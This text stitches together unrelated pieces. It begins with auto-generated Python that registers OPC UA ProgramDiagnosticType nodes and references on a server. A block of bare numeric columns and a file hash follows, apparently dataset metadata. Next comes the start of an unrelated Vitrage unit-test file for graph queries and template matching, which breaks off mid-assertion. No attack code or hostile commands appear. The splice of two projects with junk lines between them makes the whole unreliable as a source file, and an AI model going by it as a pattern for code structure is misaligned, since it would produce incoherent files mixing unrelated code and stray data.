ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2380")
node.BrowseName = ua.QualifiedName.from_string("ProgramDiagnosticType")
node.NodeClass = ua.NodeClass.VariableType
node.ParentNodeId = ua.NodeId.from_string("i=63")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.VariableTypeAttributes()
attrs.DisplayName = ua.LocalizedText("ProgramDiagnosticType")
attrs.DisplayName = ua.LocalizedText("ProgramDiagnosticType")
attrs.DataType = ua.NodeId.from_string("i=894")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2381")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2382")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2383")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2384")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2385")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2386")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2387")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2388")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2389")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2380")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2390")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2381")
node.BrowseName = ua.QualifiedName.from_string("CreateSessionId")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("CreateSessionId")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2381")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2382")
node.BrowseName = ua.QualifiedName.from_string("CreateClientName")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("CreateClientName")
attrs.DataType = ua.NodeId(ua.ObjectIds.String)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2382")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2383")
node.BrowseName = ua.QualifiedName.from_string("InvocationCreationTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("InvocationCreationTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2383")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2384")
node.BrowseName = ua.QualifiedName.from_string("LastTransitionTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastTransitionTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2384")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2385")
node.BrowseName = ua.QualifiedName.from_string("LastMethodCall")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodCall")
attrs.DataType = ua.NodeId(ua.ObjectIds.String)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2385")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2386")
node.BrowseName = ua.QualifiedName.from_string("LastMethodSessionId")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodSessionId")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2386")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2387")
node.BrowseName = ua.QualifiedName.from_string("LastMethodInputArguments")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodInputArguments")
attrs.DataType = ua.NodeId.from_string("i=296")
attrs.ValueRank = 1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2387")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2388")
node.BrowseName = ua.QualifiedName.from_string("LastMethodOutputArguments")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodOutputArguments")
attrs.DataType = ua.NodeId.from_string("i=296")
attrs.ValueRank = 1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2388")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2389")
node.BrowseName = ua.QualifiedName.from_string("LastMethodCallTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodCallTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2389")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2390")
node.BrowseName = ua.QualifiedName.from_string("LastMethodReturnStatus")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2380")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastMethodReturnStatus")
attrs.DataType = ua.NodeId.from_string("i=299")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2390")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=894")
node.BrowseName = ua.QualifiedName.from_string("ProgramDiagnosticDataType")
node.NodeClass = ua.NodeClass.DataType
node.ParentNodeId = ua.NodeId.from_string("i=22")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.DataTypeAttributes()
attrs.DisplayName = ua.LocalizedText("ProgramDiagnosticDataType")
node.NodeAttributes = attrs
server.add_nodes([node])
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=895")
node.BrowseName = ua.QualifiedName.from_string("Default XML")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=894")
node.ReferenceTypeId = ua.NodeId.from_string("i=38")
node.TypeDefinition = ua.NodeId.from_string("i=76")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("Default XML")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=39")
ref.SourceNodeId = ua.NodeId.from_string("i=895")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=8882")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=896")
node.BrowseName = ua.QualifiedName.from_string("Default Binary")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=894")
node.ReferenceTypeId = ua.NodeId.from_string("i=38")
node.TypeDefinition = ua.NodeId.from_string("i=76")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("Default Binary")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=39")
ref.SourceNodeId = ua.NodeId.from_string("i=896")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=8247")
refs.append(ref)
server.add_references(refs)
| 41.605307
| 146
| 0.706959
| 12,205
| 98,771
| 5.636051
| 0.023105
| 0.12822
| 0.140083
| 0.210124
| 0.972859
| 0.971289
| 0.938754
| 0.929784
| 0.929784
| 0.928243
| 0
| 0.031974
| 0.160249
| 98,771
| 2,373
| 147
| 41.62284
| 0.797367
| 0.00085
| 0
| 0.856455
| 1
| 0.000438
| 0.072924
| 0.007165
| 0
| 0
| 0
| 0
| 0
| 1
| 0.000438
| false
| 0
| 0.000438
| 0
| 0.000875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
07ff827c5dbe4a43c23e9e28b303ddcb09ae629c
| 62,669
|
py
|
Python
|
vitrage/tests/unit/graph/test_graph_algo.py
|
HoonMinJeongUm/Hunmin-vitrage
|
37d43d6b78e8b76fa6a2e83e5c739e9e4917a7b6
|
[
"Apache-2.0"
] | null | null | null |
vitrage/tests/unit/graph/test_graph_algo.py
|
HoonMinJeongUm/Hunmin-vitrage
|
37d43d6b78e8b76fa6a2e83e5c739e9e4917a7b6
|
[
"Apache-2.0"
] | null | null | null |
vitrage/tests/unit/graph/test_graph_algo.py
|
HoonMinJeongUm/Hunmin-vitrage
|
37d43d6b78e8b76fa6a2e83e5c739e9e4917a7b6
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2016 - Alcatel-Lucent
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
test_vitrage graph algorithms
----------------------------------
Tests for `vitrage` graph driver algorithms
"""
from testtools import matchers
from vitrage.common.constants import EdgeLabel
from vitrage.common.constants import EdgeProperties as EProps
from vitrage.datasources.heat.stack import HEAT_STACK_DATASOURCE
from vitrage.datasources.neutron.network import NEUTRON_NETWORK_DATASOURCE
from vitrage.graph.algo_driver.algorithm import Mapping
from vitrage.graph.algo_driver.sub_graph_matching import \
NEG_CONDITION
from vitrage.graph.algo_driver.sub_graph_matching import subgraph_matching
from vitrage.graph.driver.elements import Edge
from vitrage.graph.driver.graph import Direction
from vitrage.tests.base import IsEmpty
from vitrage.tests.unit.graph.base import * # noqa
ROOT_ID = EntityCategory.RESOURCE + ':' + OPENSTACK_CLUSTER + ':' + CLUSTER_ID
class GraphAlgorithmTest(GraphTestBase):
# noinspection PyPep8Naming
@classmethod
def setUpClass(cls):
super(GraphAlgorithmTest, cls).setUpClass()
cls.vm_id = 10000000
cls.vm_alarm_id = 30000000
cls.vms = []
cls.host_alarm_id = 20000000
cls.host_test_id = 40000000
cls.entity_graph = cls._create_entity_graph(
'entity_graph',
num_of_hosts_per_node=ENTITY_GRAPH_HOSTS_PER_CLUSTER,
num_of_vms_per_host=ENTITY_GRAPH_VMS_PER_HOST,
num_of_alarms_per_host=ENTITY_GRAPH_ALARMS_PER_HOST,
num_of_alarms_per_vm=ENTITY_GRAPH_ALARMS_PER_VM,
num_of_tests_per_host=ENTITY_GRAPH_TESTS_PER_HOST)
def test_graph_query_vertices(self):
ga = self.entity_graph.algo
query = {'==': {VProps.VITRAGE_TYPE: OPENSTACK_CLUSTER}}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID, query_dict=query)
self.assertEqual(
1, # For Cluster
subgraph.num_vertices(), 'num of vertex node')
query = {
'or': [
{'==': {VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE}},
{'==': {VProps.VITRAGE_TYPE: OPENSTACK_CLUSTER}}
]
}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID, query_dict=query)
self.assertEqual(
ENTITY_GRAPH_HOSTS_PER_CLUSTER,
subgraph.num_edges(), 'num of edges Host <-- NODE')
query = {
'or': [
{'==': {VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE}},
{'==': {VProps.VITRAGE_CATEGORY: ALARM}},
{'==': {VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE}},
{'==': {VProps.VITRAGE_TYPE: OPENSTACK_CLUSTER}}
]
}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID, query_dict=query)
self.assertEqual(
ENTITY_GRAPH_HOSTS_PER_CLUSTER +
ENTITY_GRAPH_HOSTS_PER_CLUSTER * ENTITY_GRAPH_ALARMS_PER_HOST +
ENTITY_GRAPH_HOSTS_PER_CLUSTER * ENTITY_GRAPH_VMS_PER_HOST +
ENTITY_GRAPH_HOSTS_PER_CLUSTER * ENTITY_GRAPH_VMS_PER_HOST *
ENTITY_GRAPH_ALARMS_PER_VM,
subgraph.num_edges(), 'num of BOTH edges Host (depth 1)')
# Get first host ID
neighboring_hosts = self.entity_graph.neighbors(
v_node.vertex_id, {VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE})
first_host_id = neighboring_hosts.pop().vertex_id
query = {'!=': {'NOTHING': 'IS EVERYTHING'}}
subgraph = ga.graph_query_vertices(
root_id=first_host_id, query_dict=query, depth=1)
self.assertEqual(
1 + # For host
1 + # For Cluster
ENTITY_GRAPH_ALARMS_PER_HOST +
ENTITY_GRAPH_TESTS_PER_HOST +
ENTITY_GRAPH_VMS_PER_HOST,
subgraph.num_edges(), 'num of BOTH edges Host (depth 1)')
query = {
'or': [
{'==': {VProps.VITRAGE_TYPE: SWITCH}},
{'==': {VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE}},
]
}
subgraph = ga.graph_query_vertices(
root_id=first_host_id, query_dict=query, depth=1)
self.assertEqual(
1, # For SWITCH
subgraph.num_edges(), 'num of BOTH edges Host (depth 1)')
subgraph = ga.graph_query_vertices(root_id=first_host_id, depth=2)
self.assertEqual(
1 + # Cluster to switch
ENTITY_GRAPH_HOSTS_PER_CLUSTER * 2 +
ENTITY_GRAPH_ALARMS_PER_HOST +
ENTITY_GRAPH_TESTS_PER_HOST +
ENTITY_GRAPH_VMS_PER_HOST +
ENTITY_GRAPH_VMS_PER_HOST * ENTITY_GRAPH_ALARMS_PER_VM,
subgraph.num_edges(), 'num of BOTH edges Host (depth 2)')
subgraph = ga.graph_query_vertices(root_id=first_host_id, depth=3,
direction=Direction.OUT)
self.assertEqual(
1 +
ENTITY_GRAPH_VMS_PER_HOST,
subgraph.num_edges(), 'num of BOTH edges Host (depth 3)')
query = {
'and': [
{'!=': {VProps.VITRAGE_TYPE: ALARM_ON_VM}},
{'!=': {VProps.VITRAGE_TYPE: ALARM_ON_HOST}},
{'!=': {VProps.VITRAGE_CATEGORY: ALARM}}
]
}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID,
query_dict=query,
depth=3)
self.assertEqual(
1 + # Cluster to switch
ENTITY_GRAPH_HOSTS_PER_CLUSTER * 2 +
ENTITY_GRAPH_HOSTS_PER_CLUSTER * ENTITY_GRAPH_TESTS_PER_HOST +
ENTITY_GRAPH_HOSTS_PER_CLUSTER * ENTITY_GRAPH_VMS_PER_HOST,
subgraph.num_edges(), 'num of edges Node (depth 3)')
query = {
'or': [
{'==': {VProps.VITRAGE_TYPE: OPENSTACK_CLUSTER}},
{'==': {VProps.VITRAGE_CATEGORY: ALARM}},
]
}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID,
query_dict=query,
depth=3)
self.assertEqual(0, subgraph.num_edges(),
'num of BOTH edges Node (depth 3)')
self.assertEqual(1, subgraph.num_vertices(),
'num of BOTH vertices Node (depth 3)')
# check the edge_query_dict parameter
query = {'!=': {'NOTHING': 'IS EVERYTHING'}}
edge_query = {'==': {EProps.RELATIONSHIP_TYPE: EdgeLabel.CONTAINS}}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID,
query_dict=query,
depth=5,
edge_query_dict=edge_query)
alarms = subgraph.get_vertices(
vertex_attr_filter={VProps.VITRAGE_CATEGORY: ALARM})
self.assertThat(alarms, IsEmpty(), 'We filtered the ON relationship,'
' so no alarms should exist')
# check that the vitrage_is_deleted=True edges are deleted from the
# graph
hosts_query = {VProps.VITRAGE_CATEGORY: RESOURCE,
VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE}
hosts = self.entity_graph.get_vertices(
vertex_attr_filter=hosts_query)
instances_query = {VProps.VITRAGE_CATEGORY: RESOURCE,
VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE}
instances = self.entity_graph.get_vertices(
vertex_attr_filter=instances_query)
instance_edges = self.entity_graph.get_edges(instances[0].vertex_id)
for edge in instance_edges:
if NOVA_HOST_DATASOURCE in edge.source_id:
host_instance_edge = edge
host_instance_edge[VProps.VITRAGE_IS_DELETED] = True
self.entity_graph.update_edge(host_instance_edge)
edges_query = {EProps.RELATIONSHIP_TYPE: EdgeLabel.CONTAINS,
VProps.VITRAGE_IS_DELETED: False}
if host_instance_edge.source_id != hosts[0].vertex_id:
new_edge = Edge(hosts[0].vertex_id, instances[0].vertex_id,
EdgeLabel.CONTAINS, properties=edges_query)
self.entity_graph.update_edge(new_edge)
else:
new_edge = Edge(hosts[1].vertex_id, instances[0].vertex_id,
EdgeLabel.CONTAINS, properties=edges_query)
self.entity_graph.update_edge(new_edge)
query = {'!=': {'NOTHING': 'IS EVERYTHING'}}
edge_query = {'==': {EProps.VITRAGE_IS_DELETED: False}}
subgraph = ga.graph_query_vertices(root_id=ROOT_ID,
query_dict=query,
depth=5,
edge_query_dict=edge_query)
self.assertEqual(self.entity_graph.num_edges() - 1,
subgraph.num_edges(),
'We filtered the ON relationship, so no alarms '
'should exist')
# Undo changes made by this test
host_instance_edge[VProps.VITRAGE_IS_DELETED] = False
self.entity_graph.update_edge(host_instance_edge)
self.entity_graph.remove_edge(new_edge)
def test_no_match_graph_query_vertices(self):
query = {'==': {VProps.VITRAGE_TYPE: 'test'}}
subgraph = self.entity_graph.algo.graph_query_vertices(
root_id=ROOT_ID,
query_dict=query)
self.assertEqual(
0,
subgraph.num_vertices(), 'num of vertex node')
def test_template_matching(self):
"""Test the template matching algorithm
Using the entity graph (created above) as a big graph we search
for a sub graph match
"""
ga = self.entity_graph.algo
# Get ids of some of the elements in the entity graph:
vm_alarm = self.entity_graph.get_vertex(
ALARM_ON_VM + str(self.vm_alarm_id - 1))
host_alarm = self.entity_graph.get_vertex(
ALARM_ON_HOST + str(self.host_alarm_id - 1))
# Create a template for template matching
template_graph = NXGraph('template_graph')
t_v_host_alarm = graph_utils.create_vertex(
vitrage_id='1', vitrage_category=ALARM, vitrage_type=ALARM_ON_HOST)
t_v_alarm_fail = graph_utils.create_vertex(
vitrage_id='1', vitrage_category=ALARM, vitrage_type='fail')
t_v_host = graph_utils.create_vertex(
vitrage_id='2',
vitrage_category=RESOURCE,
vitrage_type=NOVA_HOST_DATASOURCE)
t_v_vm = graph_utils.create_vertex(
vitrage_id='3',
vitrage_category=RESOURCE,
vitrage_type=NOVA_INSTANCE_DATASOURCE)
t_v_vm_alarm = graph_utils.create_vertex(
vitrage_id='4', vitrage_category=ALARM, vitrage_type=ALARM_ON_VM)
t_v_switch = graph_utils.create_vertex(
vitrage_id='5', vitrage_category=RESOURCE, vitrage_type=SWITCH)
t_v_node = graph_utils.create_vertex(
vitrage_id='6',
vitrage_category=RESOURCE,
vitrage_type=OPENSTACK_CLUSTER)
t_v_node_not_in_graph = graph_utils.create_vertex(
vitrage_id='7',
vitrage_category=RESOURCE,
vitrage_type=OPENSTACK_CLUSTER + ' not in graph')
e_alarm_on_host = graph_utils.create_edge(
t_v_host_alarm.vertex_id, t_v_host.vertex_id, ELabel.ON)
e_host_contains_vm = graph_utils.create_edge(
t_v_host.vertex_id, t_v_vm.vertex_id, ELabel.CONTAINS)
e_alarm_on_vm = graph_utils.create_edge(
t_v_vm_alarm.vertex_id, t_v_vm.vertex_id, ELabel.ON)
e_host_uses_switch = graph_utils.create_edge(
t_v_host.vertex_id, t_v_switch.vertex_id, 'USES')
e_node_contains_host = graph_utils.create_edge(
t_v_node.vertex_id, t_v_host.vertex_id, ELabel.CONTAINS)
e_node_contains_switch = graph_utils.create_edge(
t_v_node.vertex_id, t_v_switch.vertex_id, ELabel.CONTAINS)
e_node_contains_switch_fail = graph_utils.create_edge(
t_v_node.vertex_id, t_v_switch.vertex_id, ELabel.CONTAINS + 'fail')
e_host_to_node_not_in_graph = graph_utils.create_edge(
t_v_node_not_in_graph.vertex_id, t_v_host.vertex_id, ELabel.ON)
for v in [t_v_host_alarm, t_v_host, t_v_vm, t_v_vm_alarm,
t_v_switch, t_v_switch, t_v_node]:
del(v[VProps.VITRAGE_ID])
template_graph.add_vertex(t_v_alarm_fail)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True),
validate=True)
self.assertThat(
mappings,
IsEmpty(),
'Template - Single vertex alarm not in graph '
'Template_root is a specific host alarm ')
template_graph.remove_vertex(t_v_alarm_fail)
template_graph.add_vertex(t_v_host_alarm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Single vertex (host alarm) '
'Template_root is a specific host alarm ')
template_graph.add_vertex(t_v_host)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two disconnected vertices (host alarm , host)'
'Template_root is a specific host alarm ')
template_graph.add_edge(e_alarm_on_host)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two connected vertices (host alarm -ON-> host)'
' template_root is a specific host alarm ')
host = mappings[0][t_v_host.vertex_id]
host_vertex = self.entity_graph.get_vertex(host.vertex_id)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host,
host_vertex,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Two connected vertices (host alarm -ON-> host)'
' template_root is a specific host ')
template_graph.add_vertex(t_v_vm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two connected vertices and a disconnected vertex'
'(host alarm -ON-> host, instance)'
' template_root is a specific host alarm ')
template_graph.add_vertex(t_v_vm_alarm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
